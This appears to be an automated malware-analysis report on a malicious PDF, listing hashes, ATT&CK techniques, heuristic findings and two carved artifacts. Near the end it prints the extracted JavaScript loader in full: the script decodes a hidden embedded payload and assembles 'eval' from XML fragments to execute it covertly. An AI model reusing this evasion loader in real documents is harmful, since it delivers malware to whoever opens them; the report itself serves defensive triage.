PDF malware analysis — malicious · 43ff34e7aad4f93e

MALICIOUS

PDF

5.9 KB First seen: 2026-05-09

MD5: f6ef22678da08bbb2a6898055e4d7fda SHA-1: 6db83ef9188d59e697676c8fb5f62c5f6d9d4cfe SHA-256: 43ff34e7aad4f93ee601a4f6df675d3cd3dce0ae39ece3e4a931f5fa288d5a19

76 Risk Score

Malware Insights

MITRE ATT&CK

T1059.001 PowerShell T1566.001 Spearphishing Attachment T1105 Ingress Tool Transfer

The PDF file exhibits multiple indicators of malicious intent, including embedded JavaScript and an embedded binary file. The ML classifier strongly flags this PDF as malicious. The embedded JavaScript likely serves to execute malicious code or download further payloads, while the embedded file is a suspicious artifact. These components together indicate a likely attempt to deliver a secondary-stage payload.

Machine Learning

Nyx PDF Classifier malicious score 0.9999

Heuristics 5

Malformed active-content stream length medium PDF_MALFORMED_EXPLOIT_STREAM_LENGTH

A PDF stream that carries active/exploit-looking content has a declared /Length that does not match the recovered stream body. Malformed stream boundaries and length mismatches are common parser-evasion/supporting evidence around Reader exploit streams.
JavaScript action low 1 related finding PDF_JAVASCRIPT

PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
Embedded JS stream low PDF_JS

PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
Embedded file low PDF_EMBEDDED

PDF embeds a file attachment — could carry an executable or another weaponised document as a nested payload
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`embedded_file_obj0012.bin`	pdf-embedded-file	PDF EmbeddedFile object 12 at offset 0x428	150300 bytes
SHA-256: `dbf8415402d8a68d89982b1dd11f4dcae2ec8ecff8ad3fa749d932a4a5730a8c`
Detection ClamAV: No threats found Obfuscation or payload: likely 327 of 327 identifiers look randomly generated (e.g. 'P4L4vaNZK0MnvzK1c1P4L4vaNZK0MnvzK1c2P4L4') — consistent with name-mangling obfuscation. Carved artifact contains 145 long base64-like blob(s).
`javascript_obj0007_000.js`	pdf-javascript-stream	PDF /JS object 7 at offset 0x1CC	254 bytes
SHA-256: `1bc4bf38a788adcc495fb84f1f085cb4c62f9f214ddac09c9e3dd447973e35e6`
Preview script First 1,000 lines of the extracted script ra=this.getDataObjectContents("xampp");rb=util.stringFromStream(ra, "utf-8");rc="";for (i=0;i<rb.length;i +=18){ rc +=rb.charAt(i);}rd="<test><one>ev</one><two>al</two></test>";re=XMLData.parse(rd); rf=re.one.value+re.two.value;this[rf](rc);

Open this report in the interactive analyzer, or submit your own file for analysis.